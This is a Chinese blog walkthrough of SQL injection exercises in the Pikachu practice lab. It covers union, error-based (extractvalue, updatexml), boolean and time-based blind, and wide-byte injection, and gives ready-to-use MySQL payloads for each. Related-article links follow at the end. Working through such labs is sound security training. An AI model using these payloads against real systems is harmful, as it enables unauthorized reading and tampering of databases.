甲.数字型注入

数字型注入一般提交值没有引号,所以直接在后面构造语句就可以了。

抓包查看

构造语句

提交后

该数据库表内容被爆出来了。

乙.字符型注入

首先我们要知道一点,字符串在数据库中提交是需要用引号将字符串包含的。所以字符型注入一般需要用到引号来闭合字符串,闭合引号后就可以接执行的sql语句,就可以执行。

name='kobe'

这时候需要构造语句  'or 1=1# 单引号是为了闭合1前面的单引号,#是为了注释掉后面语句

这里输入kobe提交后显示了uid和email,猜测语句是 select uid,email from 表 where username='输入的值'

这里要构造语句,输入的值变成'or 1=1#。那么查询语句就是select uid,email from 表 where username=''or 1=1#'

闭合单引号后,把后面一个单引号注释掉。

尝试读取数据库信息。

使用order by 猜表字段数

表字段数为2,开始构造语句

database() 数据库名

version() 数据库版本

user()

22'  union select  database(),user()#

这里了解下mysql中information_schema数据库,他可以帮助我们查询更多信息。

Mysql 5.0以上中,information_schema数据库会记录当前数据库信息。

information_schema.tables 表名信息

information_schema.columns  列名信息

Table_name 表名

Column_name 列名

Table_schema  数据库名

group_concat用来合并多条数据记录,可用来合并结果。

因此,查询当前数据库下表名可以使用(group_concat使用与否均可,主要看返回信息。)

group_concat(table_name) from information_schema.tables where table_schema = database()

查询表中列名

group_concat(column_name) from information_schema.columns where table_name = '列名'、

丙.搜索型注入

搜索框中的数据库语句一般是采用的查询语句,这里我们先了解下sql查询语句

SQL提供了四种匹配模式:% _ [ ] [^ ]

1. %

%表示模糊匹配0或多个字符,如以下查询语句:

select * from user where name like '%三%'; 这个语句将会把name中带有“三”的信息全部查找出来

select * from user where name like '%三' ; 这个语句将会把name中最右边带有“三”的信息全部查找出来

select * from user where name like '三%' ; 这个语句将会把name中最左边带有“三”的信息全部查找出来

2. _

_表示任意单个字符,如以下语句:

select * from user where name like '_三_'; 这个语句会匹配出“二三四”

select * from user where name like '__三'; 这个语句会匹配出“一二三”

3. [ ]

[ ]表示括号内所列字符中的一个(类似于正则表达式),如以下语句:

select * from user where name like '老[大二三]'; 如果都存在的话将找出“老大”、“老二”、“老三”

同时支持缩写0-9、a-z等。

4.[^ ]

类似于正则表达式,将括号内的元素排除,如以下语句:

select * from user where name like '[0-3]个' 将会检索出除了“0个”,“1个”,“2个”,“3个”

————————————————

版权声明:本文为CSDN博主「MuffinFish」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/qq_36113598/article/details/79372493

看题目,首先输入ko,能够查询出来

再输入ob,也可以查询出来

很明显,这里使用的语句,应该是%这种类型的模糊查询方式。

猜测语句是select username,uid,email from 表 where username='%输入的值%'

构造语句,直接使用'or 1=1#

'闭合掉字符串,然后使用#注释掉后面的%'

sql语句很灵活,闭合前一个语句后,可以使用联合查询查询数据库信息,比如'union select user(),2,3#

丁.xx注入

先试一试'union select 1,2#

报错显示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3#')' at line 1

发现我们写的语句后面有个引号和括号,尝试构造语句闭合

') union select 1,2,3#

报错select列的数量不匹配,说明执行了我们构造的语句。尝试改成') union select 1,2#

爆表数据就要用 ')or 1=1#

戊.insert/update注入

insert/update/delete注入

在这3种情况中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作。首先猜测语句类型,是查询类的可以通过union语句来查询。

首先,添加用户的地方是对数据库表进行写入操作。

我们要了解,sql中写入新数据,用的语句是

INSERT INTO 表名称 VALUES (值1, 值2,....)

我们也可以指定所要插入数据的列:

INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

使提交报错也印证了语句是用是insert into语句

首先要了解insert注入一般使用的语句

extractvalue(1,concat(0x7e,(database()))) and '1'='1'

extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

concat函数是mysql的字符串连接函数

里面可以执行sql语句

select concat(0x7e,(select user()) ,0x7e)

验证结果:16进制也能被自动转义(0x7e是 ~符号)

下面故意写入语法错误:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

https://blog.csdn.net/zpy1998zpy/article/details/80631036

就是使extractvalue函数中第二个参数变成~select detabase(),这样与extractvalue函数规定的语法不同,就会引起报错。

在写入数据的地方使用构造语句

ttt'and extractvalue(1,concat(0x7e,(database()))) and '1'='1

updatexml()

做数据修改的时候会存在update注入的地方

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

报错语句为

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

构造语句

aa' and updatexml(1,concat(0x7e,(database())),1) and '1'='1

其实也可以使用extractvalue(),只要有报错,会执行我们构造的语句就成。

己.delete注入

sql中删除数据一般使用

DELETE 语句

DELETE 语句用于删除表中的行。

语法

DELETE FROM 表名称 WHERE 列名称 = 值

点击删除

抓包看

删除的列名为id,值为59。不为字符串,可直接构造语句

and extractvalue(1,concat(0x7e,(database())))

url上改直接输入

改数据包需要使用空格实体或者+

庚.http header

web渗透很多地方都涉及到数据包头部的改写,我这里就不多说。

这题很坑的地方在于,不了解后端代码是怎么写的做起来很别扭,因为这题目要显示出包头的信息根本不需要将包头信息存储在数据库中。代码里倒是写进数据库了,但后面调用是直接读前端获取到的头部信息,没有从数据库中读取,可能作者是想做个类似访问记录的东西。

辛.boolian盲注

根据返回信息判断语句是否正确。

基于真假的盲注主要特征

  • 没有报错信息
  • 不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1)
  • 在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断

kobe' and 1=1#
kobe' and 1=2#

发现一条正确执行,一条显示用户名不存在,说明后台存在 SQL 注入漏洞

length(database())
判断 数据库名称的长度

kobe' and
length(database()) >5#

SUBSTR函数

substr(database(), 1, 1) 截取数据库名称第一个字符

ascii(substr(database(),
1, 1)) 截取数据库名称第一个字符,转换成ascii值

kobe' and
ascii(substr(database(), 1, 1)) > 105# 判断数据库名称第一个字符ascii值的大小

判断出数据库名称后可以使用substr(database(),1,1)='字母'#

进行爆破,然后substr(database(),2,1)='字母'#依次爆破,得出完整数据库名。

这里简要说明下SUBSTR函数:

SUBSTR函数是用来截取数据库某一列字段中的一部分。

在各个数据库的函数名称不一样

MySQL: SUBSTR( ), SUBSTRING( )

Oracle: SUBSTR( )

SQL Server: SUBSTRING( ) ;

常用的方式是:

SBUSTR(str,pos);

就是从pos开始的位置,一直截取到最后。

还有一种比较常用的是:

SUBSTR(str,pos,len);

这种表示的意思是,就是从pos开始的位置,截取len个字符(空白也算字符)。

需要注意的是:如果pos为1(而不是0),表示从第一个位置开始。

————————————————

版权声明:SUBSTR函数说明为CSDN博主「呼啸」的原创,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/howlaa/article/details/16825761

壬.延时盲注

构造语句,使语句提交操作延时,来判断构造的语句是否正确。

kobe' and sleep(3)#

该语句表示如果存在kobe,则延时提交3秒。

根据这个方法,可以组合其他语句来猜解当前数据库信息。

lili' and if(substr(database(),1,1)='p',sleep(5),1)#

盲注可以通过爆破来辅助猜解,具体参考https://www.cnblogs.com/paperpen/p/12324363.html

癸.宽字节注入

宽字节注入是因为数据库使用了GBK编码,多字节的编码,两个字节代表一个汉字。

注入中单引号存在被反斜杠转义的情况。\',其中\的十六进制是 %5C。%df'被转义成%df\',就变成了%df\'=%df%5c%27,%df%5c 是一个宽字符,也就是縗,也就是说:%df\' = %df%5c%27=縗'。单引号就可以按照初期想法被识别。

构造语句kobe%df%27 or 1=1#,通过网页修改无效,直接修改数据包,成功。

pick靶场-sql注入的更多相关文章

  1. 靶场sql注入练手----sqlmap篇(纯手打)

    靶场地址:封神台 方法一.首先尝试手工找注入点判断 第一步,判断是否存在sql注入漏洞 构造 ?id=1 and 1=1 ,回车,页面返回正常 构造 ?id=1 and 1=2 ,回车,页面不正常,初 ...

  2. Pikachu靶场SQL注入刷题记录

    数字型注入 0x01 burp抓包,发送至repeater 后面加and 1=1,and 1=2 可判断存在注入 0x02 通过order by判断字段数,order by 2 和order by 3 ...

  3. 第一次靶场练习:SQL注入(1)

    SQL注入1 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://117.41 ...

  4. 2019-10-24:伪静态,VULHUB搭建靶场,宽字节sql注入,笔记

    伪静态1,需要开启站点的重写机制,需要修改配httpd配置文件,将LoadModule rewrite_module modules/mod_rewrite.so注释取消,需要apache支持解析.h ...

  5. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  6. SQL注入靶场

    靶场搭建 系统环境&工具 环境采用centos7的版本(纯命令行),采用一键部署平台,phpstudy工具,安装教程链接:https://www.xp.cn/linux.html#instal ...

  7. 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  8. 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  9. [靶场实战]:SQL注入-显错注入

    SQL注入的本质:就是将用户输入的数据当作代码带入执行. 注入条件: 1.用户能控制输入 2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行 首先检查是否存在注入点 Rank1: 构造语句 ? ...

随机推荐

  1. Java实现 蓝桥杯 算法提高 周期字串

    算法提高 周期字串 时间限制:1.0s 内存限制:256.0MB 问题描述 右右喜欢听故事,但是右右的妈妈总是讲一些"从前有座山,山里有座庙,庙里有个老和尚给小和尚讲故事,讲的什么呢?从前有 ...

  2. Java实现 LeetCode 391 完美矩形

    391. 完美矩形 我们有 N 个与坐标轴对齐的矩形, 其中 N > 0, 判断它们是否能精确地覆盖一个矩形区域. 每个矩形用左下角的点和右上角的点的坐标来表示.例如, 一个单位正方形可以表示为 ...

  3. java实现迷宫走法

    ** 迷宫走法** 迷宫问题 对于走迷宫,人们提出过很多计算机上的解法.深度优先搜索.广度优先搜索是使用最广的方法.生活中,人们更愿意使用"紧贴墙壁,靠右行走"的简单规则. 下面的 ...

  4. 深入理解Java的动态编译

    前提 笔者很久之前就有个想法:参考现有的主流ORM框架的设计,造一个ORM轮子,在基本不改变使用体验的前提下把框架依赖的大量的反射设计去掉,这些反射API构筑的组件使用动态编译加载的实例去替代,从而可 ...

  5. k8s-ephemeral和init容器

    截止到目前k8s1.18版本,k8s已经支持四种类型的container:标准容器,sidecar容器,init容器,ephemeral容器. 一:ephemeral容器 1.1.什么是ephemer ...

  6. 从程序员到项目主管再到项目总监,一个IT从业者三个职业生涯阶段的工作生活日常

    这是王不留的第 8 篇原创文章 前段时间写过<王不留的十多年工作和生活的流水帐>,在知乎.简书,还有不少微信的朋友私信问我每天四点钟是如何做到的?你现在的作息时间是怎么安排的? 于是,我将 ...

  7. 弄懂Java的自增变量

    首先我们来看一段代码: public static void main(String[] args){ int i = 1; i = i++; //第一行 int j = i++; //第二行 int ...

  8. vue cli3 创建的项目中eslint 配置 问题的解决

    1--   vue cli3 项目文件结构 2-- 注释问题 在eslintrc.js 文件中,将 '@vue/standard' 注释后重启即可: 3-- 配置 eslint 文件 在 vue-cl ...

  9. iOS-UIViewController创建的几种方法和UIWindow的介绍

    在上一篇笔记中<iOS-程序启动原理和UIApplication>,http://blog.csdn.net/yang198907/article/details/49735531 在程序 ...

  10. CentOS7.6操作系统安装实例以及Linux版本、哲学思想介绍

    Linux起源1991年的10月5日,Torvalds在comp.os.minix新闻组上发布消息,正式向外宣布他自行编写的完全自由免费的内核诞生(Freeminix-like kernel sour ...